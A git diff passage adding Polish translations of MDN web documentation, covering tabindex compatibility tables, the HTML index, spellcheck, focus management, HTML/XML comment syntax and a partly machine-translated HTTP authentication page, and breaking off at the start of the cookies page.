+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot z {{SpecName('HTML WHATWG')}}, brak zmian od {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "editing.html#attr-tabindex", "tabindex")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot z {{SpecName('HTML WHATWG')}}. Z {{SpecName("HTML4.01")}}, atrybut jest obecnie wspierany przez wszystkie elementy (atrybuty globalne).</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'interact/forms.html#adef-tabindex', 'tabindex')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Wspierany jedynie na {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, oraz {{HTMLElement("textarea")}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Wsparcie podstawowe</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Wsparcie podstawowe</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>Wszystkie <a href="/en-US/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</li>
+ <li>{{domxref("HTMLElement.tabIndex")}}, który odzwierciedla ten atrybut.</li>
+ <li>Problemy dostępu z tabindex: zobacz <a href="http://adrianroselli.com/2014/11/dont-use-tabindex-greater-than-0.html" id="id-22" style="font-size: inherit; line-height: inherit;" title="Don’t Use Tabindex Greater than 0 | Adrian Roselli">Don’t Use Tabindex Greater than 0 | Adrian Roselli</a>.</li>
+</ul>
diff --git a/files/pl/web/html/index.html b/files/pl/web/html/index.html
new file mode 100644
index 0000000000..7d331badf6
--- /dev/null
+++ b/files/pl/web/html/index.html
@@ -0,0 +1,56 @@
+---
+title: HTML
+slug: Web/HTML
+translation_of: Web/HTML
+---
+<div>
+<p><strong>HTML (ang.<em>HyperText Markup Language</em> - hipertekstowy język znaczników)</strong> jest używany do tworzenia stron internetowych i innych typów dokumentów przeznaczonych do oglądania w przeglądarce. HTML jest międzynarodowym standardem, którego specyfikacja jest zarządzana przez <a class="external" href="http://www.w3.org/">World Wide Web Consortium</a>. Aktualna wersja specyfikacji HTML to <a class="external" href="https://www.w3.org/TR/2017/REC-html51-20171003/">HTML 5.1</a>.</p>
+</div>
+
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h2 class="Documentation" id="Dokumentacja" name="Dokumentacja">Dokumentacja</h2>
+
+ <dl>
+ <dt><a class="external" href="https://stackoverflow.com/questions/83073/why-not-use-tables-for-layout-in-html">Dlaczego układ oparty na tabelkach jest złym wyborem</a></dt>
+ <dd>Zobacz, skąd się bierze problem i poznaj metody przestawienia się częściowo lub całkowicie na układ pozbawiony (niewłaściwie użytych) tabel.</dd>
+ <dt><a href="/pl/docs/Obrazki%2c_tabele_i_tajemnicze_dziury">Obrazki, tabele i tajemnicze dziury</a></dt>
+ <dd>W wyniku powstawania przeglądarek zgodnych ze standardami, które układają strony WWW używając do tego HTML-a i CSS-u, każdy wygląd strony bazujący na dokładnym ułożeniu maleńkich obrazeczków w komórkach tabel zaczął być potencjalną katastrofą wizualną.</dd>
+ <dt><a href="/pl/docs/HTML/Znaczenie_poprawnego_komentowania">Znaczenie poprawnego komentowania</a></dt>
+ <dd>Podczas tworzenia HTML w <a class="external" href="http://www.mozilla.org/docs/web-developer/quirks/doctypes.html">trybie standardów</a>, niepoprawnie sformatowane komentarze mogą zepsuć Twoje strony, powodując wykomentowanie części lub całości ich treści. Podczas tworzenia XHTML lub XML, niepoprawne komentarze spowodują, że twoje dokumenty nie będą mogły w ogóle zostać wyświetlone.</dd>
+ <dt><a href="/pl/docs/Porady_odno%c5%9bnie_tworzenia_szybko_%c5%82aduj%c4%85cych_si%c4%99_stron_HTML">Porady odnośnie tworzenia szybko ładujących się stron HTML</a></dt>
+ <dd>Zoptymalizowana strona internetowa nie oznacza jedynie szybszej reakcji na odwiedzających twoją witrynę, ale także zmniejsza obciążenie twoich serwerów WWW i łącza internetowego. Może się to okazać kluczowe dla witryn o dużym natężeniu lub witryn, w których następuje nagły skok popularności z powodu niecodziennych okoliczności takich, jak sensacyjne historie podawane w mediach. Optymalizacja ładowania się strony nie służy tylko treściom, które zostaną obejrzane przez wąską grupę odwiedzających korzystających z modemu. Jest ona tak samo ważna dla treści szerokopasmowych i może zaowocować wielkimi usprawnieniami również dla odwiedzających z najszybszymi połączeniami.</dd>
+ </dl>
+
+ <p><span class="alllinks"><a href="/pl/docs/tag/HTML">Pokaż wszystkie...</a></span></p>
+ </td>
+ <td>
+ <h2 class="Community" id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h2>
+
+ <ul>
+ <li>Obejrzyj fora Mozilli... {{ DiscussionList("dev-tech-html", "mozilla.dev.tech.html") }}</li>
+ <li><a class="external" href="http://groups.yahoo.com/group/canvas-developers/">Grupa programistów w canvas - Yahoo</a></li>
+ </ul>
+
+ <h2 class="Tools" id="Narz.C4.99dzia" name="Narz.C4.99dzia">Narzędzia</h2>
+
+ <ul>
+ <li><a class="external" href="http://www.getfirebug.com/">Firebug</a></li>
+ <li><a class="external" href="http://validator.w3.org/">Walidatory HTML</a></li>
+ <li><a class="link-https" href="https://addons.mozilla.org/extensions/moreinfo.php?id=60&amp;application=firefox">Rozszerzenie Web Developer</a></li>
+ <li><a class="external" href="http://tidy.sourceforge.net/">HTML Tidy</a></li>
+ </ul>
+
+ <p><span class="alllinks"><a href="/pl/docs/tag/HTML:Narzędzia">Pokaż wszystkie...</a></span></p>
+
+ <h2 class="Related_Topics" id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy">Powiązane tematy</h2>
+
+ <ul>
+ <li><a href="/pl/docs/CSS">CSS</a>, <a href="/pl/docs/DOM">DOM</a>, <a href="/pl/docs/XHTML">XHTML</a>, <a href="/pl/docs/XML">XML</a>, <a href="/pl/docs/HTML/Canvas">Canvas</a></li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/web/html/kontrola_sprawdzania_pisowni_w_formularzach_html/index.html b/files/pl/web/html/kontrola_sprawdzania_pisowni_w_formularzach_html/index.html
new file mode 100644
index 0000000000..aa5f4cd009
--- /dev/null
+++ b/files/pl/web/html/kontrola_sprawdzania_pisowni_w_formularzach_html/index.html
@@ -0,0 +1,28 @@
+---
+title: Kontrola sprawdzania pisowni w formularzach HTML
+slug: Web/HTML/Kontrola_sprawdzania_pisowni_w_formularzach_HTML
+translation_of: Web/HTML/Global_attributes/spellcheck
+---
+<p> </p>
+<p>Firefox 2 wprowadza wsparcie dla sprawdzania pisowni w polach i obszarach tekstowych w formularzach. Użytkownik może, używając interfejsu about:config, włączyć lub wyłączyć sprawdzanie pisowni oraz czy sprawdzać zawartość zarówno obszarów tekstowych jak również pól, czy tylko obszarów.</p>
+<p>Domyślnie zwartość obszarów tekstowych jest sprawdzana, a pól - nie.</p>
+<p>Jednakże, mogą zdarzyć się sytuacje kiedy takie zachowanie może nie być poprawne. Dla przykładu, jeśli obszar tekstowy służyć ma do wprowadzania lub edycji HTML lub podobnych danych, sprawdzanie pisowni stanowiłoby raczej przeszkodę aniżeli pomoc. Podobnie, mogą zdarzyć się sytuacje, kiedy strona sieci Web powinna rekomendować Firefoksowi by sprawdzanie pisowni było włączone dla określonego pola tekstowego.</p>
+<p>Jeśli strona sieci Web wymaga włączenia lub wyłączenia sprawdzania pisowni dla danego elementu <code>&lt;input&gt;</code>, autor może zastosować atrybut <code>spellcheck</code>, podając wartość <code>true</code> jeśli sprawdzanie pisowni powinno być włączone lub <code>false</code> - jeśli powinno być wyłączone.</p>
+<p>Proszę pamiętać, że rekomendacja strony może zostać zignorowana jeśli użytkownik wyłączył sprawdzanie pisowni globalnie, poprzez ustawienie wartości <code>layout.spellcheckDefault</code> na 0. Jeśli <code>layout.spellcheckDefault</code> ma jakąkolwiek inną wartość, rekomendacje są brane pod uwagę.</p>
+<p>Możesz zakodować pole tekstowe by używało sprawdzania pisowni używając kodu HTML podobnego do poniższego:</p>
+<pre class="eval"><span class="nowiki">&lt;input type="text" size="50" spellcheck="true"&gt;</span>
+</pre>
+<p>Podobnie, możesz zakodować pole tekstowe z wyłączonym sprawdzaniem pisowni używając kodu HTML podobnego do poniższego:</p>
+<pre class="eval"><span class="nowiki">&lt;textarea spellcheck="false"&gt;&lt;/textarea&gt;</span>
+</pre>
+<p>Możesz również zastosować atrybut <code>spellcheck</code> do innych elementów, jak na przykład elementy <code>&lt;span&gt;</code> i <code>&lt;div&gt;</code>. W tym wypadku jakiekolwiek zawarte w nich elementy <code>&lt;input&gt;</code> zastosują to ustawienie; elementy nie posiadające atrybutu <code>spellcheck</code> odziedziczą ustawienie sprawdzania pisowni po ich rodzicach. Jeśli nie ma żadnych podanych ustawień, zastosowane zostaną domyślne ustawienia użytkownika.</p>
+<p>Na przykład:</p>
+<pre>&lt;div spellcheck="true"&gt;
+ &lt;label&gt;Wpisz zdanie: &lt;/label&gt;&lt;input type="text" size="50"&gt;
+ &lt;br /&gt;
+ &lt;label&gt;Wpisz inne zdanie: &lt;/label&gt;&lt;input type="text" size="50"&gt;
+&lt;/div&gt;
+&lt;br /&gt;
+&lt;label&gt;Wpisz trzecie zdanie: &lt;/label&gt;&lt;input type="text" size="50"&gt;
+</pre>
+<p>W tym fragmencie kodu HTML, zawartość pierwszych dwóch pól tekstowych zostanie sprawdzona, za to trzeciego - nie.</p>
diff --git a/files/pl/web/html/zarządzanie_fokusem_w_html/index.html b/files/pl/web/html/zarządzanie_fokusem_w_html/index.html
new file mode 100644
index 0000000000..484fb119c6
--- /dev/null
+++ b/files/pl/web/html/zarządzanie_fokusem_w_html/index.html
@@ -0,0 +1,18 @@
+---
+title: Zarządzanie fokusem w HTML
+slug: Web/HTML/Zarządzanie_fokusem_w_HTML
+tags:
+ - DOM
+ - Firefox 3
+ - HTML
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/hasFocus
+---
+<p>{{ Fx_minversion_header(3) }}
+{{ Draft() }}
+</p><p>W programie Firefox 3 wprowadzono obsługę dwóch nowych atrybutów DOM, zdefiniowanych w roboczej wersji specyfikacji HTML 5: <code><a href="pl/DOM/document.activeElement">activeElement</a></code> i <code><a href="pl/DOM/document.hasFocus">hasFocus</a></code>.
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Focus_management_in_HTML", "es": "es/Gesti\u00f3n_del_foco_en_HTML", "fr": "fr/Gestion_du_focus_en_HTML", "ja": "ja/Focus_management_in_HTML" } ) }}
diff --git a/files/pl/web/html/znaczenie_poprawnego_komentowania/index.html b/files/pl/web/html/znaczenie_poprawnego_komentowania/index.html
new file mode 100644
index 0000000000..fe5b67106a
--- /dev/null
+++ b/files/pl/web/html/znaczenie_poprawnego_komentowania/index.html
@@ -0,0 +1,64 @@
+---
+title: Znaczenie poprawnego komentowania
+slug: Web/HTML/Znaczenie_poprawnego_komentowania
+tags:
+ - HTML
+ - Wszystkie_kategorie
+translation_of: Learn/HTML/Introduction_to_HTML/Getting_started#HTML_comments
+---
+<p> </p>
+<h2 id="Znaczenie_poprawnego_komentowania" name="Znaczenie_poprawnego_komentowania">Znaczenie poprawnego komentowania</h2>
+<p>Podczas tworzenia HTML w <a class="external" href="http://www.mozilla.org/docs/web-developer/quirks/doctypes.html">trybie standardów</a>, niepoprawnie sformatowane komentarze mogą zepsuć twe strony, powodując wykomentowanie części lub całości ich treści. Podczas tworzenia XHTML lub XML, niepoprawne komentarze spowodują, że twoje dokumenty nie będą mogły w ogóle zostać wyświetlone.</p>
+<h3 id="HTML_4.01" name="HTML_4.01">HTML 4.01</h3>
+<p>
+ <i>
+ Z <a class="external" href="http://www.w3.org/TR/html4/intro/sgmltut.html#h-3.2.4">Rekomendacji W3C dla HTML 4.01, Sekcji 3.2.4 - Komentarze</a>:</i>
+</p>
+<p>Biała spacja nie jest dozwolona między otwierającym delimiterem deklaracji znacznika ("&lt;!") a otwierającym delimiterem komentarza ("--"), ale jest dozwolona między zamykającym delimiterem komentarza ("--") i zamykającym delimiterem deklaracji znacznika ("&gt;"). Pospolitym błędem jest umieszczanie łańcucha kresek ("---") wewnątrz komentarza. Twórcy powinni unikać wstawiania wewnątrz komentarza dwóch lub więcej sąsiadujących kresek.</p>
+<h4 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h4>
+<p>Poniżej przedstawiono prawidłowe komentarze HTML.</p>
+<pre class="eval">&lt;!-- poprawny komentarz HTML --&gt;
+&lt;!-- poprawny komentarz HTML -- &gt;
+</pre>
+<p>Poniżej przedstawiono nieprawidłowy komentarz HTML.</p>
+<pre class="eval">&lt;!-- niepoprawny -- komentarz HTML --&gt;
+</pre>
+<h3 id="XML" name="XML">XML</h3>
+<p>
+ <i>
+ Z <a class="external" href="http://www.w3.org/TR/REC-xml#sec-comments">Rekomendacji W3C dla XML 1.0, Sekcji 2.5 - Komentarze</a>:</i>
+</p>
+<blockquote>
+ <b>Definicja:</b> Komentarze mogą pojawiać się w dokumencie gdziekolwiek poza innymi znacznikami; ponadto mogą pojawiać się wewnątrz deklaracji typu dokumentu w miejscach dozwolonych przez gramatykę. Nie wchodzą w skład danych znakowych dokumentu; procesor XML może, choć nie musi, umożliwić aplikacji wydobywać tekst komentarzy. W celu zapewnienia kompatybilności, łańcuch "--" (podwójna kreska) nie może występować wewnątrz komentarzy. Odwołania do parametrów encji nie mogą być rozpoznawane wewnątrz komentarzy.
+ <pre>[15] Comment ::= '&lt;!--' ((Char - '-') | ('-' (Char - '-')))* '--&gt;'
+</pre>
+</blockquote>
+<p>Zgodnie z opisem gramatyki komentarzy w XML, komentarz ma postać</p>
+<pre class="eval">&lt;!-- znaki bez sąsiadujących kresek --&gt;
+</pre>
+<h4 id="Przyk.C5.82ady_2" name="Przyk.C5.82ady_2">Przykłady</h4>
+<p>Poniżej przedstawiono prawidłowy komentarz XML i XHTML.</p>
+<pre class="eval">&lt;!-- poprawny komentarz xml/xhtml --&gt;
+</pre>
+<p>Poniżej przedstawiono nieprawidłowe komentarze XML i XHTML.</p>
+<pre class="eval">&lt;!-- nieprawidłowy -- komentarz xml --&gt;
+&lt;!-- nieprawidłowy komentarz xml ---&gt;
+&lt;!-- nieprawidłowy komentarz xml -- &gt;
+</pre>
+<h3 id="Lektury_uzupe.C5.82niaj.C4.85ce" name="Lektury_uzupe.C5.82niaj.C4.85ce">Lektury uzupełniające</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/html4/intro/sgmltut.html#h-3.2.4">Rekomendacja HTML 4.01: 3.2.4 - Komentarze</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/REC-xml#sec-comments">Rekomendacja XML: 2.5 - Komentarze</a></li>
+ <li><a class="external" href="http://bugzilla.mozilla.org/show_bug.cgi?id=144432">Błąd na Bugzilli nr 144432</a></li>
+ <li><a class="external" href="http://bugzilla.mozilla.org/show_bug.cgi?id=102127">Błąd na Bugzilli nr 102127</a></li>
+</ul>
+<div class="originaldocinfo">
+ <h3 id="Informacje_o_dokumencie" name="Informacje_o_dokumencie">Informacje o dokumencie</h3>
+ <ul>
+ <li>Ostatnia aktualizacja: 19 maj 2003</li>
+ <li>Copyright © 2001-2003 Netscape. All rights reserved.</li>
+ <li>Tłumaczenie: Krzysztof Jurewicz</li>
+ </ul>
+</div>
+<div class="noinclude">
+  </div>
diff --git a/files/pl/web/http/authentication/index.html b/files/pl/web/http/authentication/index.html
new file mode 100644
index 0000000000..d1a365fd50
--- /dev/null
+++ b/files/pl/web/http/authentication/index.html
@@ -0,0 +1,135 @@
+---
+title: HTTP authentication
+slug: Web/HTTP/Authentication
+translation_of: Web/HTTP/Authentication
+---
+<div><font><font>{{HTTPSidebar}}</font></font></div>
+
+<p class="summary"><span class="seoSummary"><font><font>Protokół HTTP zapewnia ogólną strukturę kontroli dostępu i uwierzytelniania. </font><font>Ta strona stanowi wprowadzenie do struktury HTTP służącej do uwierzytelniania i pokazuje, jak ograniczyć dostęp do serwera za pomocą schematu HTTP „Basic”.</font></font></span></p>
+
+<h2 id="Ogólna_struktura_uwierzytelniania_HTTP"><font><font>Ogólna struktura uwierzytelniania HTTP</font></font></h2>
+
+<p><font><font>{{RFC ("7235")}} definiuje strukturę uwierzytelniania HTTP, która może być używana przez serwer do {{glosariusza ("wyzwanie")}} żądania klienta, a przez klienta do dostarczania informacji uwierzytelniających.</font></font></p>
+
+<p><font><font>Wyzwanie i przepływ odpowiedzi działają w następujący sposób:</font></font></p>
+
+<ol>
+ <li><font><font>Serwer odpowiada klientowi statusem odpowiedzi {{HTTPStatus ("401")}} (Unauthorized) i dostarcza informacji na temat autoryzacji za pomocą nagłówka odpowiedzi {{HTTPHeader ("WWW-Authenticate")}} zawierającego co najmniej jeden wyzwanie.</font></font></li>
+ <li>A client that wants to authenticate itself with the server can then do so by including an {{HTTPHeader("Authorization")}} request header with the credentials.</li>
+ <li>Usually a client will present a password prompt to the user and will then issue the request including the correct <code>Authorization</code> header.</li>
+</ol>
+
+<p><img alt="A sequence diagram illustrating HTTP messages between a client and a server lifeline." src="https://mdn.mozillademos.org/files/14689/HTTPAuth.png" style="height: 335px; width: 710px;" title="Diagram sekwencji uwierzytelniania HTTP klient-serwer"></p>
+
+<p>In the case of a "Basic" authentication like shown in the figure, the exchange <strong>must</strong> happen over an HTTPS (TLS) connection to be secure.</p>
+
+<h3 id="Proxy_authentication">Proxy authentication</h3>
+
+<p>The same challenge and response mechanism can be used for <em>proxy authentication</em>. As both resource authentication and proxy authentication can coexist, a different set of headers and status codes is needed. In the case of proxies, the challenging status code is {{HTTPStatus("407")}} (Proxy Authentication Required), the {{HTTPHeader("Proxy-Authenticate")}} response header contains at least one challenge applicable to the proxy, and the {{HTTPHeader("Proxy-Authorization")}} request header is used for providing the credentials to the proxy server.</p>
+
+<h3 id="Access_forbidden">Access forbidden</h3>
+
+<p>If a (proxy) server receives valid credentials that are inadequate to access a given resource, the server should respond with the {{HTTPStatus("403")}} <code>Forbidden</code> status code. Unlike {{HTTPStatus("401")}} <code>Unauthorized</code> or {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>, authentication is impossible for this user.</p>
+
+<h3 id="Authentication_of_cross-origin_images">Authentication of cross-origin images</h3>
+
+<p>A potential security hole recently been fixed by browsers is authentication of cross-site images. From <a href="/en-US/docs/Mozilla/Firefox/Releases/59">Firefox 59</a> onwards, image resources loaded from different origins to the current document are no longer able to trigger HTTP authentication dialogs ({{bug(1423146)}}), preventing user credentials being stolen if attackers were able to embed an arbitrary image into a third-party page.</p>
+
+<h3 id="Character_encoding_of_HTTP_authentication">Character encoding of HTTP authentication</h3>
+
+<p>Browsers use <code>utf-8</code> encoding for usernames and passwords.</p>
+
+<p>Firefox once used <code>ISO-8859-1</code>, but changed to <code>utf-8</code> for parity with other browsers and to avoid potential problems as described in {{bug(1419658)}}.</p>
+
+<h3 id="WWW-Authenticate_and_Proxy-Authenticate_headers">WWW-Authenticate and Proxy-Authenticate headers</h3>
+
+<p>The {{HTTPHeader("WWW-Authenticate")}} and {{HTTPHeader("Proxy-Authenticate")}} response headers define the authentication method that should be used to gain access to a resource. They must specify which authentication scheme is used, so that the client that wishes to authorize knows how to provide the credentials.</p>
+
+<p>The syntax for these headers is the following:</p>
+
+<pre class="syntaxbox notranslate">WWW-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+Proxy-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+</pre>
+
+<p>Here, <code>&lt;type&gt;</code> is the authentication scheme ("Basic" is the most common scheme and <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">introduced below</a>). The <em>realm</em> is used to describe the protected area or to indicate the scope of protection. This could be a message like "Access to the staging site" or similar, so that the user knows to which space they are trying to get access to.</p>
+
+<h3 id="Authorization_and_Proxy-Authorization_headers">Authorization and Proxy-Authorization headers</h3>
+
+<p>The {{HTTPHeader("Authorization")}} and {{HTTPHeader("Proxy-Authorization")}} request headers contain the credentials to authenticate a user agent with a (proxy) server. Here, the <code>&lt;type&gt;</code> is needed again followed by the credentials, which can be encoded or encrypted depending on which authentication scheme is used.</p>
+
+<pre class="syntaxbox notranslate">Authorization: &lt;type&gt; &lt;credentials&gt;
+Proxy-Authorization: &lt;type&gt; &lt;credentials&gt;
+</pre>
+
+<h3 id="Authentication_schemes">Authentication schemes</h3>
+
+<p>The general HTTP authentication framework is used by several authentication schemes. Schemes can differ in security strength and in their availability in client or server software.</p>
+
+<p>The most common authentication scheme is the "Basic" authentication scheme, which is introduced in more detail below. IANA maintains a <a class="external external-icon" href="https://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">list of authentication schemes</a>, but there are other schemes offered by host services, such as Amazon AWS. Common authentication schemes include:</p>
+
+<dl>
+ <dt><strong>Basic</strong></dt>
+ <dd>See {{rfc(7617)}}, base64-encoded credentials. More information below.</dd>
+ <dt><strong>Bearer</strong></dt>
+ <dd>See {{rfc(6750)}}, bearer tokens to access OAuth 2.0-protected resources</dd>
+ <dt><strong>Digest</strong></dt>
+ <dd>See {{rfc(7616)}}, only md5 hashing is supported in Firefox, see {{bug(472823)}} for SHA encryption support</dd>
+ <dt><strong>HOBA</strong></dt>
+ <dd>See {{rfc(7486)}}, Section 3, <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound <strong>A</strong>uthentication, digital-signature-based</dd>
+ <dt><strong>Mutual</strong></dt>
+ <dd>See {{rfc(8120)}}</dd>
+ <dt><strong>AWS4-HMAC-SHA256</strong></dt>
+ <dd>See <a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">AWS docs</a></dd>
+</dl>
+
+<h2 id="Basic_authentication_scheme">Basic authentication scheme</h2>
+
+<p>The "Basic" HTTP authentication scheme is defined in {{rfc(7617)}}, which transmits credentials as user ID/password pairs, encoded using base64.</p>
+
+<h3 id="Security_of_basic_authentication">Security of basic authentication</h3>
+
+<p>As the user ID and password are passed over the network as clear text (it is base64 encoded, but base64 is a reversible encoding), the basic authentication scheme <strong>is not secure</strong>. HTTPS/TLS should be used with basic authentication. Without these additional security enhancements, basic authentication should not be used to protect sensitive or valuable information.</p>
+
+<h3 id="Restricting_access_with_Apache_and_basic_authentication">Restricting access with Apache and basic authentication</h3>
+
+<p>To password-protect a directory on an Apache server, you will need a <code>.htaccess</code> and a <code>.htpasswd</code> file.</p>
+
+<p>The <code>.htaccess</code> file typically looks like this:</p>
+
+<pre class="notranslate">AuthType Basic
+AuthName "Access to the staging site"
+AuthUserFile /path/to/.htpasswd
+Require valid-user</pre>
+
+<p>The <code>.htaccess</code> file references a <code>.htpasswd</code> file in which each line consists of a username and a password separated by a colon (<code>:</code>). You cannot see the actual passwords as they are <a href="https://httpd.apache.org/docs/2.4/misc/password_encryptions.html">hashed</a> (using MD5-based hashing, in this case). Note that you can name your <code>.htpasswd</code> file differently if you like, but keep in mind this file shouldn't be accessible to anyone. (Apache is usually configured to prevent access to <code>.ht*</code> files).</p>
+
+<pre class="notranslate">aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
+user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
+</pre>
+
+<h3 id="Restricting_access_with_nginx_and_basic_authentication">Restricting access with nginx and basic authentication</h3>
+
+<p>For nginx, you will need to specify a location that you are going to protect and the <code>auth_basic</code> directive that provides the name to the password-protected area. The <code>auth_basic_user_file</code> directive then points to a <code>.htpasswd</code> file containing the encrypted user credentials, just like in the Apache example above.</p>
+
+<pre class="notranslate">location /status {
+ auth_basic "Access to the staging site";
+ auth_basic_user_file /etc/apache2/.htpasswd;
+}</pre>
+
+<h3 id="Access_using_credentials_in_the_URL">Access using credentials in the URL</h3>
+
+<p>Many clients also let you avoid the login prompt by using an encoded URL containing the username and the password like this:</p>
+
+<pre class="example-bad notranslate">https://username:password@www.example.com/</pre>
+
+<p><strong>The use of these URLs is deprecated</strong>. In Chrome, the <code>username:password@</code> part in URLs is even <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7">stripped out</a> for security reasons. In Firefox, it is checked if the site actually requires authentication and if not, Firefox will warn the user with a prompt "You are about to log in to the site “www.example.com” with the username “username”, but the website does not require authentication. This may be an attempt to trick you."</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li><font><font>{{HTTPStatus ("401")}}, {{HTTPStatus ("403")}}, {{HTTPStatus ("407")}}</font></font></li>
+</ul>
diff --git a/files/pl/web/http/ciasteczka/index.html b/files/pl/web/http/ciasteczka/index.html
new file mode 100644
index 0000000000..d8720ac4c4
--- /dev/null
+++ b/files/pl/web/http/ciasteczka/index.html
@@ -0,0 +1,263 @@
+---
+title: Ciasteczka HTTP
+slug: Web/HTTP/Ciasteczka
+tags:
+ - aplikacje internetowe
+ - ciasteczka
+ - ciasteczka artykuł
+ - dane
+ - pamięć przeglądarki
+ - pliki cookie
+ - protokoły
+ - prywatność
+ - przeglądarka
+ - serwer
+ - śledzenie
+ - żądania HTTP
+translation_of: Web/HTTP/Cookies
+---
+<p>{{HTTPSidebar}}</p>
+
+<p class="summary"><span class="seoSummary">Ciasteczka HTTP (pliki cookie) to niewielkie obiekty danych, które serwer wysyła do przeglądarki internetowej użytkownika. Przeglądarka może je przechowywać i wysyłać ponownie do tego samego serwera wraz z kolejnym żądaniem.</span> Przeważnie są używane do określenia czy dwa żądania zostały nadane z tej samej przeglądarki, np. aby użytkownik pozostał zalogowany. Są sposobem na zapamiętanie informacji o stanie sesji pomimo bezstanowej natury protokołu HTTP.</p>
+
+<p>Główne zastosowania ciasteczek:</p>
+
+<dl>
+ <dt>Zarządzanie sesją</dt>
+ <dd>Loginy, koszyki sklepów internetowych, rezultaty w grach i wszystko inne o czym powinien pamiętać serwer</dd>
+ <dt>Personalizacja</dt>
+ <dd>Preferencje użytkownika, motywy i inne ustawienia</dd>
+ <dt>Śledzenie</dt>
+ <dd>Zapisywanie i analiza zachowania użytkownika</dd>
+</dl>
+
+<p>Ciasteczka wykorzystywano kiedyś do przechowywania wszelkiego rodzaju plików po stronie klienta. Było to uzasadnione w czasach, gdy brakowało alternatywnych rozwiązań. Aktualnie zaleca się stosowanie nowoczesnych API do zapamiętywania danych. Ciasteczka są wysyłane wraz z każdym żądaniem, więc mogą spowodować pogorszenie wydajności (szczególnie dla połączeń mobilnych). Nowoczesne API do przechowywania plików to <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> i <code>sessionStorage</code>) oraz <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p>
+
+<div class="note">
+<p>Aby podejrzeć przechowywane ciasteczka (lub inne pamięci, z których mogą korzystać strony internetowe) należy wejść w zakładkę <a href="/pl/docs/Narzędzia/Storage_Inspector">Dane</a> w narzędziach dla programistów dostępnych w przeglądarce.</p>
+</div>
+
+<h2 id="Tworzenie_ciasteczek">Tworzenie ciasteczek</h2>
+
+<p>Otrzymując żądanie HTTP serwer może wysłać wraz z odpowiedzią nagłówek <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a>. Ciasteczko jest zazwyczaj przechowywane przez przeglądarkę, by następnie zostać wysłane wraz z żądaniami do tego samego serwera jako wartość nagłówka <a href="/pl/docs/Web/HTTP/Headers/Cookie">Cookie</a>. Istnieje opcja ustawienia daty wygaśnięcia lub czasu trwania, po których ciasteczko nie będzie wysyłane. Dodatkowo można ustawić ograniczenia dla konkretnej domeny lub ścieżki, aby dla wartości innych niż podane nie przesyłać ciasteczka.</p>
+
+<h3 id="Nagłówki_Set-Cookie_i_Cookie">Nagłówki <code>Set-Cookie</code> i <code>Cookie</code></h3>
+
+<p>Nagłówek <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a> jest zawarty w odpowiedzi serwera na żądanie HTTP agenta użytkownika (np. przeglądarki). Przykładowo:</p>
+
